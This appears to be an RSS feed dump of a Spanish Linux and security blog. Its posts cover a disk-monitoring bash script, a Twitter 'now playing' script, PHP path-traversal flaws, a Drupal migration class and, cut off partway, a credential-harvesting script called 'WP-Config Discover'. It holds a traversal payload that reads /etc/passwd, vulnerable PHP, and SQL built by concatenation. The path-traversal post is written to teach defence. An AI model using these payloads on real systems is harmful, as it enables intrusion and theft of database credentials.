El rincón de Zerial » Programación http://blog.zerial.org Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio Tue, 20 Jul 2010 18:13:34 +0000 en hourly 1 http://wordpress.org/?v=3.0 Script monitor de sistemas de archivos y particiones http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/ http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/#comments Wed, 14 Jul 2010 19:15:42 +0000 Zerial http://blog.zerial.org/?p=1782 Existen herramientas que nos permiten monitorear distintas cosas en un parque de servidores, como Zabbix, Nagios, etc. Pero hay veces que no es posible, ya sea por recursos o por tiempo, implementar una solución de monitoreo de alto nivel, por lo que recurrimos a los scrtips. Estoy seguro que bash, las llaves publicas y privadas para la autentificación, y cron son unos de nuestros mejores amigos al momento de querer monitorear o administrar máquinas simultaneamente.

Con du podemos saber el uso de disco de nuestro sistema y con un pequeño script en bash podemos mejorar la salida de este comando.

ssh 10.0.0.56 -p5022 "df -hPl"|awk -F ' ' '{print $1,$4,$6,$5}' |egrep -v "Avail|Dispo|Use|Use"

Esto nos devuelve en 4 columnas el dispositivo, espacio disponible, punto de montaje y porcentaje usado.

Algo similar a:

/dev/mapper/VolGroup_25980-LogVol1 3.5G / 75%
/dev/sda1 80M /boot 16%
none 16G /dev/shm 0%
/dev/mapper/VolGroup_25980-LogVolHome 30G /home 69%
/dev/mapper/VolGroup_25980-LogVol2 4.6G /tmp 1%
/dev/mapper/VolGroup_25980-LogVol5 6.6G /usr 29%
/dev/mapper/VolGroup_25980-LogVol4 14G /var 87%
/dev/mapper/VolGroup_25980-mysql 7.0G /var/lib/mysql 63%

Mi idea es trabajar con threshold (umbral) y gatillar eventos según el umbral alcanzado. Por ejemplo, con un threshold del 80% asociado al porcentaje utilizado, que envie emails de “advertencias” y con el 90% notificaciones de “criticidad del sistema de archivos”. Lo que querìa lograr era que todos los dias se monitoreen los sistemas de archivos, generando reportes diarios de los sistemas criticos y, semanalmente, un reporte general, donde me muestre detalladamente los “normales”, “advertencias” y los “criticos”. La salida esperada es algo asi:

[+] Server: x.x.x.x (x.hostname)
[-] [Dev:/dev/hda2] [Mount:/] [Free:4.2G] [Used:5%]

[-] [Dev:/dev/hda1] [Mount:/boot] [Free:83M] [Used:11%]

[-] [Dev:/dev/hda3] [Mount:/home] [Free:3.6G] [Used:19%]

[-] [Dev:/dev/hda6] [Mount:/tmp] [Free:1.7G] [Used:1%]

[-] [Dev:/dev/hda5] [Mount:/usr] [Free:8.6G] [Used:3%]

[-] [Dev:/dev/hda7] [Mount:/var] [Free:12G] [Used:21%]

No critical filesystems

[...] cuando no hay sistemas de archivos criticos y,

[+] Server: y.y.y.y (y.hostname)
[-] [Dev:/dev/mapper/VolGroup00-LogVol00] [Mount:/] [Free:16G] [Used:14%]

[-] [Dev:/dev/sda1] [Mount:/boot] [Free:80M] [Used:15%]

[-] [Dev:/dev/shm] [Mount:/dev/shm] [Free:2.0G] [Used:0%]

[-] [Dev:/dev/mapper/VolGroup00-LogVol02] [Mount:/var] [Free:7.4G] [Used:74%]

[-] [Dev:/dev/mapper/VolGroup00-LogVol03] [Mount:/backup] [Free:13G] [Used:66%]

[-] [Dev:/dev/mapper/VolGroup00-LogVol04] [Mount:/home] [Free:6.6G] [Used:93%] [***CRITICAL***]

[-] [Dev:/dev/mapper/VolGroup00-LogVol05] [Mount:/usr/local] [Free:7.3G] [Used:89%] [***WARNING***]

cuando hay criticos y cuando hay emergencias, es decir, cuando se alcanza el umbral del 90% y 80%, respectivamente.

El script que hice es el siguiente:

#/bin/bash -e
warning_threshold="80%"
critical_threshold="90%"

warnings=0;
critical=0;
for host in $(grep -v ^# ips.txt);
do
	critical_count=0;
	hostname=$(echo -n $host|cut -f1 -d ":")
        ip=$(echo -n $host|cut -f2 -d ":")
        port=$(echo -n $host|cut -f3 -d ":")
	echo "\n[+] Server: $ip ($hostname)"
	filesystems=$(ssh $ip -p$port "df -Phl"|egrep -v 'Avail|Dispo|tmpfs|udev|Uso|Use'|awk -F ' ' '{print $6}');
	for FS in $filesystems;
	do
		alert="";
		temp=$(ssh $ip -p$port "df -hPl $FS"|awk -F ' ' '{print $1,$4,$6,$5}' |egrep -v 'Avail|Dispo|Uso|Use');
		dev=$(echo $temp |cut -f1 -d " ");
		mountpoint=$(echo $temp |cut -f3 -d " ");
		size=$(echo $temp |cut -f2 -d " ");
		used=$(echo $temp |cut -f4 -d " ");
		_wthreshold=$(echo -n $warning_threshold |sed 's/%//g');
		_cthreshold=$(echo -n $critical_threshold |sed 's/%//g');
		_used=$(echo -n $used |sed 's/%//g');
		case "$1" in
			weekly)
				if [ $_used -gt $_wthreshold ]; then
                                        alert="[***WARNING***]"; warning=$(expr $warning + 1);
                                fi
				if [ $_used -gt $_cthreshold ]; then
					alert="[***CRITICAL***]"; critical=$(expr $critical + 1);
				fi
				echo "[-] [Dev:$dev] [Mount:$mountpoint] [Free:$size] [Used:$used] $alert";
				echo "";
			;;
			daily)
                                if [ $_used -gt $_cthreshold ]; then
                                        alert="[***CRITICAL***]";
					critical_count=$(expr $critical_count + 1);
                                	echo "[-] [Dev:$dev] [Mount:$mountpoint] [Free:$size] [Used:$used] $alert";
					echo "";
				fi
			;;
		esac
	done
	if [ $critical_count -eq 0 ]; then
		echo "No critical filesystems"
		critical_count=0;
	fi
done
if [ "$1" = "weekly" ]; then
	echo "________________"
	echo "Warnings: $warning\t|";
	echo "Criticals: $critical\t|";
fi

Para que el script funcione, es necesario que en la misma ruta donde se encuentra, exista el archivo ips.txt que debe tener, bajo la sintaxis hostname:ip:port, la información para que el script se conecté por ssh a las máquinas. Para que sea más dinámico y no requiera la intervención de un humano, la máquina donde se ejecutará el script debe tener una llave privada cuya llave publica esté repartida en los servidores que se desean monitorear.
El script necesita un argumento para funcionar, puede ser “weekly” o “daily”, segun se necesite. Con daily el script genera reportes donde mostrará solamente los criticos, mientras que con weekly hará un reporte general.

En el cron tengo agregado que todos los dias a las 9AM, haga un reporte diario y todos los lunes a las 8AM uno general (weekly) y los envie por correo a los responsables.

8 * * 1 cd /root/du_alert; sh alert.sh weekly |mail -s “Weekly Disk Usage Status” encargado@dominio.cl — -F “System Administrator”
0 9 * * * cd /root/du_alert; sh alert.sh daily |mail -s “Daily Disk Usage Status” encargado@dominio.cl — -F “System Administrator”

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/feed/ 1 mpd-twitter: Publicar en twitter lo que estas escuchando http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/ http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/#comments Sun, 10 Jan 2010 19:56:18 +0000 Zerial http://blog.zerial.org/?p=1370 Ultimamente he estado usando el Music Player Daemon (MPD) para escuchar música. Tambien me he dado cuenta que en Twitter hace varios días está de trending topic el hashtag #nowplaying, donde la gente publica lo que está escuchando. En base a ésto y a un poco de imaginación y tiempo libre, cree un script en bash que me permite publicar lo que estoy escuchando.

El script, llamado mpd-twitter,  usa el cliente mpc para conectarse a mpd y obtener el artista y nombre de la reproducción actual, hacer el parseo necesario y posteriormente publica un estado en twitter.

#!/bin/bash
#
# Author: Zerial 
# Version: 0.1
# URL: http://dev.zerial.org/mpd-twitter
# License: GPL
#

CONF_FILE=$HOME/.mpd-twitter
USER=$(grep ^USERNAME $CONF_FILE |cut -f 2 -d "=")
PASS=$(grep ^PASSWORD $CONF_FILE |cut -f 2 -d "=")

if [ -f $CONF_FILE ]; then
	BEFORE=$(grep ^BEFORE $CONF_FILE |cut -f 2 -d "=")
	AFTER=$(grep ^AFTER $CONF_FILE |cut -f 2 -d "=")
else
	Xdialog --title "Error" --beep --msgbox "Can't read your local config file. Please copy the /usr/local/share/mpd-twitter/mpd-twitter.local to $HOME/.mpd-twitter" 200 100
	exit
fi

CURRENT_SONG=$(mpc current)
MY_UPDATE="$BEFORE $CURRENT_SONG $AFTER"

curl -u "$USER:$PASS" -d "status=$MY_UPDATE" -d "source=mpd-twit" "http://twitter.com/statuses/update.json"
exit

El archivo de configuración, que debe estar ubicado en ~/.mpd-twitter, es:

#
# Local Config file for mpd-twitter
#
#
# Config the username and password
#
USERNAME=your_username
PASSWORD=your_password
#
# Text before and text after the song.
# example:
# if BEFORE=Listening and AFTER=(powered by xxx)
# mpd-twitter will send "Listening  (powered by xxx)"
#
BEFORE=#nowplaying
AFTER=(powered by mpd)

Para los usuarios de Archlinux que quieran probarlo, he creado un PKGBUILD:

# Contributor: Zerial 
pkgname=mpd-twitter
pkgver=0.1
pkgrel=4
pkgdesc="Publish on twitter what you are listening on MPD"
arch=('i686' 'x86_64')
url="http://dev.zerial.org/mpd-twitter"
license=('GPL')
depends=('xdialog' 'curl' 'mpc')
source=(http://dev.zerial.org/mpd-twitter/${pkgname}_${pkgver}.tar.gz)
md5sums=('3d73b79fa38bd60f637386146137999b')

build(){
	cd $startdir/src/$pkgname
	install -d $startdir/pkg/usr/local/share/mpd-twitter
	mkdir $startdir/pkg/usr/bin
	install -m744 $startdir/src/$pkgname/mpd-twitter.local $startdir/pkg/usr/local/share/mpd-twitter/
	install -m755 $startdir/src/$pkgname/mpd-twitter $startdir/pkg/usr/bin/
}

Tambien lo pueden encontrar en el repositorio AUR.

La idea es lanzar el script con algun hotkey de nuestro gestor de ventanas y asi, cada véz que quieras mostrar lo que estás escuchando, simplemente precionas la combinacion de teclas que configuraste. Por ejemplo, en DWM la he configurado asi:

[...]
/* commands */
static const char *mpdtwittercmd[] = { "mpd-twitter", NULL };
static Key keys[] = {
[...]
      { MODKEY|ShiftMask,                     XK_t,   spawn,  {.v = mpdtwittercmd } },
[...]

De esta forma, cada vez que presiono Alt+Shift + T, aparece en twitter lo que estoy escuchando.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/feed/ 2 Cómo validar correctamente la descarga de un archivo en php http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/ http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/#comments Sun, 18 Oct 2009 13:10:22 +0000 Zerial http://blog.zerial.org/?p=1009 Este post es debido a un correo que recibí preguntando como evitar el full path disclosure y el directory transversal desde un fichero php que realiza descargas. El error que plantearé a continuación es muy común en muchos sistemas web y ya he publicado varias webs vulnerables con este mismo problema. Corresponde a la forma de descarga tipo download.php?dir=ficheros/&file=test.pdf.

secure

Con una URL de este tipo, es posible forzar un FPD modificando las variables “dir” y “test”, cambiadolas por cualquier cosa que sepamos que no existe y de esta forma obtendremos un fichero php con un error, el cual nos revelará el path de la aplicación. Si cambiamos el valor de la variable “dir” a “../../../../../../etc/” y “file” a “passwd”, es muy probable que nos deje descargar el fichero /etc/passwd, lo mismo con cualquier otro fichero. De esta misma forma, podemos ir descargando uno a uno los códigos fuentes del sistema php y poder acceder a los usuarios y claves de conexion a la base de datos y otro tipo de información confidencial.

Me voy a basar en casos reales y tomando como ejemplo los típicos errores e irresponsabilidades de programación de los desarrolladores.

  1. < ?
  2. $nombre = $_GET[‘archivo’]; // Nombre del archivo
  3. $contenido = ‘Texto del archivo’; // Contenido del archivo
  4. $enlace = $_GET[‘folder’]."/".$_GET[‘archivo’];
  5. header ("Content-Disposition: attachment; filename=".$nombre."");
  6. header ("Content-Type: application/octet-stream");
  7. header ("Content-Length: ".filesize($enlace));
  8. readfile($enlace);
  9. ?>

Este es un script que me descargué hace un tiempo y no recuerdo de que sitio, pero es un ejemplo real y lo más probable es que aún esté en línea. Si nos fijamos línea por línea, el script realiza lo siguiente:

Lee las variables directamente desde la URL (GET) y en primera instancia, obtiene el valor de la variable “nombre” y se la asigna a $nombre, esto es para darle el nombre al archivo una vez que lo descarguemos. Luego, en la variable $enlace, guardará el path completo de lo que deseamos descargar, si le pasamos por URL los parametros folder=archivos/&archivo=test.pdf, el valor de la variable $enlace será “archivos/test.pdf”. Luego se enviarle las cabeceras al navegador, el script php leerá el fichero correspondiente al valor de la variable $enlace y forzará al navegador a descargarlo. De esta forma, si modificamos la url a nuestro modo, podremos descargar el fichero que queramos, ya que el script no tiene ninguna validación.

La forma correcta para hacer un script de este tipo, sería sin trabajar directamente con los parametros pasados por url y tenerlos encapsulados en algun lugar, ya sea en una base de datos, un switch o como sea, pero nunca directamente o bien, teniendo definido de forma explícita el directorio donde se trabaja.
Si tomamos el mismo ejemplo anterior y lo corregimos, debería quedar algo así:

  1. < ?
  2. $folder = "archivos_para_descargar";
  3. $nombre = $_GET[‘archivo’]; // Nombre del archivo
  4. $contenido = ‘Texto del archivo’; // Contenido del archivo
  5. $enlace = $folder."/".$_GET[‘archivo’];
  6. header ("Content-Disposition: attachment; filename=".$nombre."");
  7. header ("Content-Type: application/octet-stream");
  8. header ("Content-Length: ".filesize($enlace));
  9. readfile($enlace);
  10. ?>

De esta forma, jamás podremos cambiar el valor de la variable “$folder” y nunca podremos descargar un fichero que esté detrás del directorio de descarga explícitamente definido “archivos_para_descarga”. Esto, sería una forma rápida y fácil de solucionarlo, pero creo que la mejor forma es volver a hacerlo y hacerlo bien. Teniendo un “administrador” de subidas que almacene la información en una base de datos para luego realizar la descarga sólo con el ID del fichero o bien, hacer las descargas directamente con su path absoluto (http://sitio.com/archivos_para_descarga/2009/mi_documento.pdf).

Como ya he dicho, este error es muy común y basta con preparar una búsqueda con los parámetros necesarios en Google para poder acceder a sitios con estas vulnerabilidades. El problema es que con este bug, no solo comprometes la seguridad de tu sistema y de tu usuario, tambien la seguridad del resto de los usuarios del servidor, ya que el script se ejecutará como usuario www-data o apache (en la mayoría de los servidores) y tiene acceso no solo a tus ficheros.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/feed/ 10 Migración de datos en Drupal http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/ http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/#comments Fri, 02 Oct 2009 01:25:14 +0000 Zerial http://blog.zerial.org/?p=926 drupal_migra Drupal 6 nos provee de una API que nos permitirá trabajar directamente con el core, usando las funciones, módulos y configuraciones ya existentes. De esta forma, y gracias a los hooks, podemos realizar distintas funciones tales como agregar, eliminar y modificar usuarios y contenidos, manejar los comentarios, configuraciones, etc.
La idea de este artículo es ayudar a las personas que necesiten realizar una migración (importación/exportación) desde un sistema distinto hacia Drupal.

Las funciones que necesitamos de la API de Drupal son:

  1. user_save(): Permite la manipulación de los usuarios.
  2. node_save(): Manipulación de los nodos (contenidos).
  3. db_query(): Nos permite realizar consultas a la base de datos usando la configuración de Drupal.

Con estas funciones ya podemos pensar en realizar una migración total o partial de un sitio. La lógica del asunto es sencilla, tenemos que hacer un “wrapper” que conecte ambas plataformas (hablando de base de datos y ficheros), hacer que por un lado se conecte a la base de datos de la plataforma antigua y por otro lado a Drupal, que vaya leyendo los datos desde la plataforma antigua y luego insertandolos en la nueva plataforma usando las funciones de la API, por ejemplo, si tenemos la tabla usuarios con los tipicos campos nombre, email, usuario, password, en Drupal la estructura de la tabla {users} es similar, contiene los campos email, name y pass (los que nos sirven) entre otros. Entonces lo que debemos hacer es un pequeño script que haya un SELECT email, password, usuario FROM usuarios y hacer que cada registro que lea, lo inserte en la tabla {users} mediante la API (función user_save()).
Ejemplo:

  1. $var1 = mysql_query("SELECT email,password,usuario FROM usuarios", $link);
  2. while($data = mysql_fetch_array($var1)){
  3.    $userdata = array(
  4.                         ‘status’ => 1,
  5.                         ‘name’ => $data[‘usuario’],
  6.                         ‘pass’ => ’123′,
  7.                         ‘picture’ => $_avatar,
  8.                         ‘mail’ => $data[‘email’],
  9.                 );
  10.                 user_save(”, $userdata);
  11. }

El tema de la contraseña es más complicado, va a depender únicamente de que si la contraseña está en texto plano o encriptada en la base de datos de origen. Si esta en texto plano, entonces basta con agregar al arreglo userdata el valor $data['password'] a la variable pass. De lo contrario, tendremos que hacer un pequeño truco. Creamos el usuario asignandole una clave fake, por ejemplo 123456 y posteriormente, usando la función db_query, hacemos el UPDATE necesario para cambiarle el password al usuario creado, ingresando directamente el HASH original (pensando que esta en md5).

Para realizar la migración de contenido, el procedimiento es de la misma forma, seleccionar la información de un lado y llevarla a otra usando la función node_save.
Si algo se nos escapa de las manos y no sabemos como hacerlo, basta con que entendamos el modelo de la base de datos e ingresemos directamente las consultas a la base de datos (no lo recomiendo).

Hace unos días me tocó la tarea de realizar la migración de una plataforma X a Drupal, para esto diseñe una clase que me permite hacer la migración paso por paso.

  1. < ?php
  2.  
  3. chdir("api/");
  4. include_once ‘api/includes/bootstrap.inc’;
  5. drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
  6. flush();
  7.  
  8. class Drupal{
  9.         private $user;
  10.         private $id_uid;
  11.  
  12.         public $counter;
  13.  
  14.         public function __construct(){
  15.                 $this->id_uid = array();
  16.                 $this->counter = array(‘users’ => 0, ‘news’ => 0, ‘comments’ => 0);
  17.                 $this->clearDatabase();
  18.         }
  19.         public function clearDatabase(){
  20.                 $_queries = array(
  21.                         ‘users’ => ‘DELETE FROM dp_users WHERE name != \’admin\’ AND name != \’asdf\’‘,
  22.                         ‘nodes’ => ‘DELETE FROM dp_node WHERE type NOT IN (\’intro\’, \’adminpage\’)’,
  23.                         ‘comments’ => ‘DELETE FROM dp_comments’,
  24. //                      ‘terms_rel’ => ‘DELETE FROM dp_term_node’,
  25. //                      ‘terms’ => ‘DELETE FROM dp_term_data WHERE tid NOT IN (3, 6)’,
  26.                         ‘groups’ => ‘DELETE FROM dp_og’,
  27.                         ‘groups_uid’ => ‘DELETE FROM dp_og_uid’,
  28.                         ‘groups_ancestry’ => ‘DELETE FROM dp_og_ancestry’,
  29.                         ‘groups_notifications’ => ‘DELETE FROM dp_og_notifications’,
  30.                         ‘dp_job_posting’ => ‘DELETE FROM dp_job_posting’,
  31.                         ‘dp_job_posting_country’ => ‘DELETE FROM dp_job_posting_country’,
  32.                 );
  33.                 foreach($_queries as $query){
  34.                         print ">>[DP_SQL] ".$query."\n";
  35.                         db_query($query);
  36.                 }
  37.         }
  38.         public function createUser($data){
  39.                 $_avatar_base_path = "sites/default/files/pictures/";
  40.                 $_avatar = ($data[‘avatar’] == "usuarioSinAV.jpg")?NULL:$_avatar_base_path.$data[‘avatar’];
  41.                 $_user = array(
  42.                         ‘status’ => 1,
  43.                         ‘access’ => time(),
  44.                         ‘name’ => $data[‘username’],
  45.                         ‘pass’ => ’123′,
  46.                         ‘picture’ => $_avatar,
  47.                         ‘profile_nombres’ => $data[‘nombres’],
  48.                         ‘profile_apellido’ => $data[‘apellidos’],
  49.                         ‘profile_intereses’ => $data[‘about’],
  50.                         ‘profesion’ => $data[‘profesion’],
  51.                         ‘mail’ => $data[‘email’],
  52.                 );
  53.                 $user = user_save(”, $_user);
  54.                 self::_setPassword($user->uid, $data[‘password’]);
  55. //              self::_setUserRole($user->uid);
  56.                 self::_configureProfile($data, $user->uid);
  57.                 if($data[‘admin’]) self::_setAdmin($user->uid);
  58.                 $this->user = &$user;
  59.                 $this->id_uid[$data[‘id’]] = $user->uid;
  60.                 $this->counter[‘users’]++;
  61.         }
  62.         public function createContent($data, $type){
  63.                 $node = new stdClass();
  64.                 $node->type = $type;
  65.                 $node->uid = $this->user->uid;
  66.                 $node->name = $user->user->name;
  67.                 $node->promote = 1;
  68.                 $node->format = FILTER_FORMAT_DEFAULT;
  69.                 $node->status = 1;
  70.                 $node->title = html_entity_decode($data[‘titulo’]);
  71.                 $node->body = $data[‘cuerpo’];
  72.                 $node->taxonomy = self::_convertTaxonomy();
  73.                 $node->comment = 2;
  74.                 $node->created = strtotime($data[‘fecha’]);
  75.                 print ">>[node:".$type."] ".substr($node->title, 0, 30)."… (".substr($node->body, 0, 20)." …) [tax:{".implode(";", $node->taxonomy)."},uid:".$node->uid."]\n";
  76.                 $this->counter[‘news’]++;
  77.                 node_save($node);
  78.                 $q = "INSERT INTO dp_node_access(nid, grant_view, realm) VALUES((SELECT MAX(nid) FROM dp_node),1, ‘all’)";
  79.                 db_query( $q );
  80.         }
  81.         public function insertCommentProfile($data){
  82.                 print ">>[comment;autor:".$this->id_uid[$data['autor']].",uid:".$data['userid']."] (".rtrim(substr($data[‘comentario’], 0, 30))." …)\n";
  83.                 db_query("INSERT INTO {comments} (pid, uid, hostname, comment, status, name, mail, homepage, timestamp) VALUES(%d, %d, ‘%s’, ‘%s’, %d, ‘%s’, ‘%s’, ‘%s’, %d)", $data[‘userid’], $this->id_uid[$data[‘autor’]], ’127.0.0.1′, $data[‘comentario’], 1, ”, ”, ”, time());
  84.                 $this->counter[‘comments’]++;
  85.         }
  86.  
  87.         private function _convertTaxonomy($taxonomy = NULL){
  88.                 $_categories = array();
  89.                 $_categories[] = 29;
  90.                 $_categories[] = 30;
  91.                 $_categories[] = 31;
  92.                 $_categories[] = 32;
  93.                 $_categories[] = 33;
  94.                 $_categories[] = 34;
  95.                 $_categories[] = 35;
  96.                 return array( ($taxonomy)?$_categories[–$taxonomy]:35 );
  97.         }
  98.         private function _setPassword($id, $md5){
  99.                 $query = "UPDATE dp_users SET pass = ‘".$md5."’ WHERE (name != ‘asdf’ AND name != ‘admin’) AND uid = ".$id;
  100.                 print ">>[DP_SQL] ".$query."\n";
  101.                 db_query($query);
  102.         }
  103.         private function _setAdmin($id){
  104.                 $table = "dp_users_roles";
  105.                 //$query = "UPDATE ".$table." SET rid = 4 WHERE uid = ".$id; # 4 es el que corresponde segun SELECT * FROM dp_role
  106.                 $query = "INSERT INTO ".$table."(rid, uid) VALUES(4, ".$id.")"; # 2 es el que corresponde segun SELECT * FROM dp_role
  107.                 print ">>[DP_SQL] ".$query."\n";
  108.                 db_query($query);
  109.         }
  110.         private function _setUserRole($id){
  111.                 $table = "dp_users_roles";
  112.                 $query = "INSERT INTO ".$table."(rid, uid) VALUES(2, ".$id.")"; # 2 es el que corresponde segun SELECT * FROM dp_role
  113.                 print ">>[DP_SQL] ".$query."\n";
  114.                 db_query($query);
  115.         }
  116.         private function _configureProfile($info, $_uid){
  117.                 $uid = $info[‘id’];
  118.                 $query = "SELECT a.nombre_esp FROM cat_paises a LEFT JOIN usr_users b ON b.pais = a.id WHERE b.id = ".$uid;
  119.                 $_r = mysql_result(sqlExec($query, ‘query’), 0, ‘nombre_esp’);
  120.                 db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(8, ".$_uid.", ‘".$_r."’)");
  121.  
  122.                 $query = "SELECT a.nombre_esp FROM paises a LEFT JOIN users b ON b.pais_residencia = a.id WHERE b.id = ".$uid;
  123.                 $_r = mysql_result(sqlExec($query, ‘query’), 0, ‘nombre_esp’);
  124.                 db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(9, ".$_uid.", ‘".$_r."’)");
  125.  
  126. /*                $query = "SELECT a.profesion FROM users a WHERE a.id = ".$uid;
  127.                 $_r = mysql_result(sqlExec($query, ‘query’), 0, ‘profesion’);
  128.                 db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(3, ".$_uid.", ‘".$_r."’)");*/
  129.  
  130.                 $query = "SELECT a.nombre FROM cat_usr a LEFT JOIN usr_users b ON b.categoria = a.id WHERE b.id = ".$uid;
  131.                 $_r = mysql_result(sqlExec($query, ‘query’), 0, ‘nombre’);
  132.                 db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(4, ".$_uid.", ‘".$_r."’)");
  133.  
  134.                 $query = "SELECT a.subcategoria_es FROM areas_ciencia_subcat a, usr_users b WHERE b.area_ciencia_subcat != 0 AND b.area_ciencia_subcat = a.id_subcat AND b.id = ".$_uid;
  135.                 if($_r = mysql_result(sqlExec($query, ‘query’), 0, ‘subcategoria_es’)){
  136.                         db_query("UPDATE dp_profile_values SET value = ‘".$_r."’ WHERE fid = 7 AND uid = ".$_uid);
  137. //                      db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(7, ".$_uid.", ‘".$_r."’)");
  138.                 }
  139.         }
  140. }

Esta clase nos permite crear una instancia para trabajar con Drupal y de esta forma poder migrar usuarios, contenidos, asignar taxonomias/categorias, resetear claves, insertar comentarios, etc. Cada método público debe ser llamado pasando como argumento un array con la información que desea ser insertada. Por ejemplo, una llamda al método createUser:

  1. $_users = mysql_query("SELECT * FROM usuarios", $link);
  2. while($_users_row = mysql_fetch_array($_users)){
  3.         // Llamada a API drupal para crear usuario
  4.         $drupal->createUser($_users_row);
  5. }

Sencillamente, lo que hace este pedazo de código es consultar en una base de datos por todos los usuarios y posteriormente, por cada registro encontrado, llamar al método “createUsers” pasándole como argumento el row correspondiente al ciclo.

Les dejo el script “Migrar.php” que instancia la clase Drupal y hace uso de sus métodos:

  1. < ?php
  2. /*
  3.  * Lunes, 21 de Septiembre del 2009.
  4.  *
  5.  * Migrador de plataformas para
  6.  * Drupal.
  7.  *
  8.  */
  9.  
  10. // Config
  11. require_once("Config.php");
  12.  
  13. $conexion = mysql_connect($host, $username, $password) OR die("Error al conectar a la base de datos.\n");
  14.  
  15. // Llamada a nuestro wrapper
  16. require_once("Drupal.class.php");
  17.  
  18. if(!mysql_select_db($database, $conexion)){
  19.         print "Error al seleccionar la base de datos.\n";
  20. }
  21. else{
  22.         $start = time();
  23.         $drupal = new Drupal();
  24.        
  25.         // Usuarios
  26.         $table = "usr_users";
  27.         $query = "SELECT * FROM ".$table;
  28.         $_users = sqlExec($query, "print_query");
  29.         getRows($_users);
  30.         while($_users_row = mysql_fetch_array($_users)){
  31.                 // Llamada a API drupal para crear usuario
  32.                 $drupal->createUser($_users_row);
  33.                 // Fin
  34.                 $table = "infoc_news";
  35.                 $query = "SELECT * FROM ".$table." WHERE autor = ".$_users_row[‘id’]." ORDER BY fecha";
  36.                 $_news = sqlExec($query, "print_query");
  37.                 getRows($_news);
  38.                 while($_news_row = mysql_fetch_array($_news)){
  39.                         // Llamada a API drupal para crear contenido
  40.                         $drupal->createContent($_news_row, "news");
  41.                         // Fin
  42.                 }
  43.         }
  44.        
  45.         // Comentarios en perfiles
  46.         $table = "usr_comments";
  47.         $query = "SELECT * FROM usr_coments WHERE responseTo = 0";
  48.         $_comments = sqlExec($query, "print_query");
  49.         getRows($_comments);
  50.         while($_comments_row = mysql_fetch_array($_comments)){
  51.                 // Llamada a API drupal para insertar comentarios en perfiles
  52.                 $drupal->insertCommentProfile($_comments_row);
  53.                 // FIn
  54.         }
  55.         $stop = time();
  56.         $time = $stop – $start;
  57.         print "Migration done.\n";
  58.         print "+ Summary:\n";
  59.         print "|- Users:\t".$drupal->counter[‘users’]."\n";
  60.         print "|- Nodes:\t".$drupal->counter[‘news’]."\n";
  61.         print "|- Comments:\t".$drupal->counter[‘comments’]."\n";
  62.         print "|_ Time:\t".date("s", $time)." secs.\n";
  63. }
  64. /* sqlExec()
  65.  * Ejecuta y/o imprime una consulta SQL
  66.  */
  67. function sqlExec($query, $type){
  68.         global $conexion;
  69.         switch($type){
  70.                 case ‘print’:
  71.                         print ">>[SQL] ".$query."\n";
  72.                         break;
  73.                 case ‘query’:
  74.                         return mysql_query($query, $conexion);
  75.                         break;
  76.                 case ‘print_query’:
  77.                         print ">>[SQL] ".$query."\n";
  78.                         return mysql_query($query, $conexion);
  79.                         break;
  80.                 case ‘default’:
  81.                         print "Error en el modo de trabajo.\n";
  82.                         break;
  83.         }
  84.         return NULL;
  85. }
  86.  
  87. /* getRows()
  88.  * Imprime la cantidad de resultados obtenidas desde una consulta
  89.  */
  90. function getRows($resource){
  91.         print "< < ".mysql_num_rows($resource)." rows.\n";
  92. }
  93. ?>

NOTA Estos scripts son los originales que he usado para migrar una plataforma, si alguien quiere darle un uso personal debe hacer las modificaciones correspondientes que se adapten a su propio modelo de datos y a sus propias necesidades.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/feed/ 0 WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor http://blog.zerial.org/seguridad/wp-config-discover/ http://blog.zerial.org/seguridad/wp-config-discover/#comments Mon, 10 Aug 2009 03:04:08 +0000 Zerial http://blog.zerial.org/?p=716 matrixwordpressWP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php.

Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).

Código

  1. < ?php
  2. $paths = array(
  3.     "blog",
  4.     "site",
  5.     "html",
  6.     "www",
  7.     "html/blog",
  8.     "www/blog",
  9.     "site/blog",
  10.     "wordpress",
  11.     "wp",
  12.     "www/wp",
  13.     "www/wordpress",
  14.     "html/wordpress",
  15.     "html/wp",
  16.     "public_html",
  17.     "public_html/blog",
  18.     "public_html/wp",
  19.     "public_html/wordpress",
  20. );
  21. $files = array(
  22.     "wp-config.php",
  23. );
  24. print "Checking for ….\n";
  25. if(!is_readable("/etc/passwd"))    die("err0r: can’t read /etc/passwd (safe mode?)");
  26. $_f = @file("/etc/passwd");
  27. foreach($_f as $usr){
  28.     $usr = explode(":", $usr);
  29.     $uid = $usr[2];
  30.     $home = $usr[5];
  31.     $usr = $usr[0];
